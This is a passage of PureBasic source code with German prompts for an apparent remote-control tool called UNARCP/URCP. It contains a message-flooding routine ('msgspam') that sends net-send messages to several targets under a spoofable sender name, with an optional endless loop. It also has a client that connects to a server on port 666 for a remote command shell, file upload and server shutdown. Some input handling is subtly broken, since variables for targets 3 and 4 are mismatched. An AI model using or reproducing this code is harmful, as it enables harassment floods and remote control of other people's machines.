Gosub versioninfo
EndIf
If choice$="help"
Gosub mainhilfe
EndIf
If choice$="exit"
Goto beenden
EndIf
choice$=""
Goto mainmenu
msgspam:
If FindString(choice$,"-m",1)>0
PrintN("")
PrintN("Anzahl der Ziele?")
ziele$=Input()
ziele=Val(ziele$)
If ziele$=""
PrintN("")
PrintN("Anzahl muss angegeben werden!")
PrintN("")
Return
EndIf
If ziele=0 Or ziele<0 Or ziele>4 Or ziele<2
PrintN("")
PrintN("Ungültige Eingabe!")
PrintN("")
Return
EndIf
PrintN("")
PrintN("Ziel 1?")
ziel$=Input()
If ziel$=""
PrintN("")
PrintN("Eingabe ungültig!")
PrintN("")
Return
EndIf
PrintN("")
PrintN("Ziel 2?")
ziel2$=Input()
If ziel2$=""
PrintN("")
PrintN("Eingabe ungültig!")
PrintN("")
Return
EndIf
If ziele=3
PrintN("")
PrintN("Ziel 3?")
ziel1$=Input()
If ziel3$=""
PrintN("")
PrintN("Eingabe ungültig!")
PrintN("")
Return
EndIf
EndIf
If ziele=4
PrintN("")
PrintN("Ziel 4?")
ziel1$=Input()
If ziel4$=""
PrintN("")
PrintN("Eingabe ungültig!")
PrintN("")
Return
EndIf
EndIf
EndIf
If ziel$=""
PrintN("")
PrintN("Ziel?")
ziel$=Input()
If ziel$=""
PrintN("")
PrintN("Ziel muss angegeben werden!")
PrintN("")
Return
EndIf
EndIf
PrintN("")
PrintN("Absender? (Wenn leer lokaler Computername)")
absender$=Input()
If absender$=""
absender$=GetLocalSystemName()
EndIf
PrintN("")
PrintN("Nachricht?")
nachricht$=Input()
If nachricht$=""
PrintN("")
PrintN("Nachricht muss angegeben werden!")
PrintN("")
Return
EndIf
PrintN("")
PrintN("Sendeintervall in ms? (Wenn leer oder '0' dann so schnell, wie möglich.)")
intervall$=Input()
If intervall$="" Or intervall$="0"
intervall=0
EndIf
intervall=Val(intervall$)
If intervall>1000 Or intervall<0
PrintN("")
PrintN("Eingabe ungültig!")
PrintN("")
Return
EndIf
PrintN("")
PrintN("Anzahl der zu sendenden Nachrichten?")
anzahl$=Input()
anzahl=Val(anzahl$)
If anzahl=0
PrintN("")
PrintN("Wert ungültig!")
PrintN("")
EndIf
If anzahl<0
loopy=1
EndIf
PrintN("")
Print("Jetzt starten? (J/N)")
choice$=Input()
If choice$="J" Or choice$="j"
InitKeyboard()
Count=0
PrintN("")
PrintN("Spamme...")
If loopy=1
PrintN("Endlosschleife...")
EndIf
PrintN("ABBRUCH MIT BELIEBIGER TASTE!")
Delay(1000)
Repeat
view_progress(Count,loopy)
ExamineKeyboard()
NTSendMessage(absender$,ziel$,nachricht$)
Delay(intervall)
Count=Count+1
Until count=anzahl Or KeyboardPushed(#PB_KEY_ALL)>0
count$=Str(count)
PrintN("")
PrintN(count$+" von "+anzahl$+" Nachrichten gesendet!")
PrintN("")
Return
EndIf
If choice$="N" Or choice$="n"
PrintN("")
PrintN("Abgebrochen!")
PrintN("")
Return
EndIf
PrintN("")
PrintN("Ungültige Eingabe!")
PrintN("")
Return
netsend:
If FindString(choice$,"netsend",1)=1
If FindString(choice$,"-m",1)>0
multiple=1
EndIf
PrintN("")
PrintN("Ziel?")
ziel$=Input()
If ziel$=""
PrintN("")
PrintN("Ziel muss angegeben werden!")
PrintN("")
Return
EndIf
PrintN("")
PrintN("Absender? (Wenn leer lokaler Computername)")
absender$=Input()
If absender$=""
absender$=GetLocalSystemName()
EndIf
multiple:
PrintN("")
PrintN("Nachricht? (Wenn '-m' dann 'quit' zum Beenden)")
nachricht$=Input()
If multiple=1
If nachricht$="quit"
Return
EndIf
EndIf
If nachricht$=""
PrintN("")
PrintN("Nachrichtentext muss angegeben werden!")
PrintN("")
Return
EndIf
PrintN("")
NTSendMessage(absender$,ziel$,nachricht$)
PrintN("Nachricht an "+ziel$+" gesendet!")
PrintN("")
If multiple=1
Goto multiple
EndIf
multiple=0
absender$=""
nachricht$=""
EndIf
Return
lanlist:
PrintN("")
PrintN("Dursuche Netzwerk...")
PrintN("localhost")
GetLANList()
PrintN("Ende der Liste.")
PrintN("")
Return
beenden:
End
mainhilfe:
PrintN("")
PrintN("UNARCP-Mainmenu-Befehle")
PrintN("-----------------------")
PrintN("clear")
PrintN("connect PARAMS: [IP]")
PrintN("exit")
PrintN("list")
PrintN("msgspam PARAMS: -m")
PrintN("netsend PARAMS: -m")
PrintN("version")
PrintN("")
Return
versioninfo:
PrintN("")
PrintN("Ultimate Network And Remote Control Program by ")
PrintN("------------------------------------------------------------")
PrintN("UNARCP Version "+#VERSION+" by ")
PrintN("URCP-Client Version "+#CLIENTVERSION+" by ")
PrintN("")
Return
connecttoserver:
If InitNetwork()=0
PrintN("")
PrintN("Netzwerk konnte nicht initialisiert werden!")
PrintN("")
Goto mainmenu
EndIf
If FindString(choice$,"connect",1)=1
ip$=Mid(choice$,9,15)
EndIf
If ip$=""
PrintN("")
PrintN("IP muss angegeben werden!")
PrintN("")
Goto mainmenu
EndIf
connectionid=OpenNetworkConnection(ip$,666)
If connectionid=0
PrintN("")
PrintN("Es konnte keine Verbindung zum URCP-Server aufgebaut werden!")
PrintN("Entweder war die IP falsch und/oder auf dem angegebenen Host ist")
PrintN("kein URCP-Server installiert.")
PrintN("")
Goto mainmenu
EndIf
ConsoleTitle("URCP-Client Version "+#CLIENTVERSION+" - Verbunden mit "+ip$)
buffer=AllocateMemory(0,1024,0)
ReceiveNetworkData(connectionid,buffer,1024)
welcome1$=PeekS(buffer)
FreeMemory(0)
PrintN("")
PrintN(welcome1$)
Buffer=AllocateMemory(0,1024,0)
ReceiveNetworkData(connectionid,Buffer,1024)
welcome2$=PeekS(Buffer)
FreeMemory(0)
PrintN(welcome2$)
PrintN("")
rshell:
PrintN("")
Print("<UNARCP/URCP@"+ip$+">")
cmd$=Input()
If cmd$=""
Goto rshell
EndIf
If cmd$="clear"
ClearConsole()
Goto rshell
EndIf
SendNetworkString(connectionid,cmd$)
If FindString(cmd$,"cp2srv",1)=1
file$=Mid(cmd$,8,255)
PrintN("")
PrintN("Ziel auf Host?")
dest$=Input()
SendNetworkString(connectionid,dest$)
Repeat
Until NetworkClientEvent(connectionid)=2
SendNetworkString(connectionid,file$)
Repeat
Until NetworkClientEvent(connectionid)=2
PrintN("Sende Datei "+file$+" an "+ip$+"\"+dest$)
SendNetworkFile(connectionid,file$)
If timeout(10000,connectionid)
timeouterr()
Goto mainmenu
Else
PrintN("")
PrintN("Server hat die Datei empfangen!")
file$=""
dest$=""
EndIf
Goto rshell
EndIf
If cmd$="disconnect"
CloseNetworkConnection(connectionid)
ClearConsole()
PrintN("Abgemeldet.")
PrintN("Verbindung zu "+ip$+" getrennt!")
Goto mainmenu
EndIf
If cmd$="killsrv"
Buffer=AllocateMemory(0,1024,0)
ReceiveNetworkData(connectionid,Buffer,1024)
string$=PeekS(Buffer)
FreeMemory(0)
If string$="1"
PrintN("")
PrintN("Befehl auf "+ip$+" ausgeführt!")
PrintN("URCP-Server ("+ip$+") wurde beendet!")
Goto mainmenu
Else
PrintN("")
PrintN("Keine Antwort empfangen. Server ist entweder vorher beendet worden oder fehlerhaft!")
Goto mainmenu
EndIf
EndIf
If timeout(10000,connectionid)
ClearConsole()
timeouterr()
Goto mainmenu
Else
string$=ReceiveNetworkString(connectionid)
EndIf
If string$="0"
PrintN("")
PrintN("Befehl auf Server unbekannt oder die Verbindung zum Server ist unterbrochen!")
string$=""
EndIf
If string$="1"
PrintN("")
PrintN("Befehl auf "+ip$+" ausgefuehrt!")
string$=""
EndIf
If string$="2"
PrintN("")
PrintN("Bei der Ausführung ist ein Fehler aufgetreten!")
string$=""
EndIf
If string$="3"
PrintN("")
PrintN("Server ist im Schleifenmodus übergegangen!")
PrintN("Währenddessen kann der Server keine anderen Befehle entgegen nehmen.")
PrintN("Zum Beenden der Schleife beliebige Zeichen eingeben und senden...")
string$=""
EndIf
If string$="4"
PrintN("")
PrintN("Server hat Schleife verlassen und ist Bereit!")
string$=""
EndIf
If string$="5"
PrintN("")
Repeat
Buffer=AllocateMemory(0,1024,0)
ReceiveNetworkData(connectionid,Buffer,1024)
txt$=PeekS(Buffer)
FreeMemory(0)
PrintN(txt$)
If txt$="7"
InitKeyboard()
PrintN("")
PrintN("Beliebige Taste drücken, um fortzusetzen...")
Repeat
ExamineKeyboard()
Until KeyboardPushed(#PB_Key_All)>0
Delay(250)
ClearConsole()
SendNetworkString(connectionid,"1")
Delay(1)
EndIf
Until txt$="6"
string$=""
txt$=""
EndIf
string$=""
Goto rshell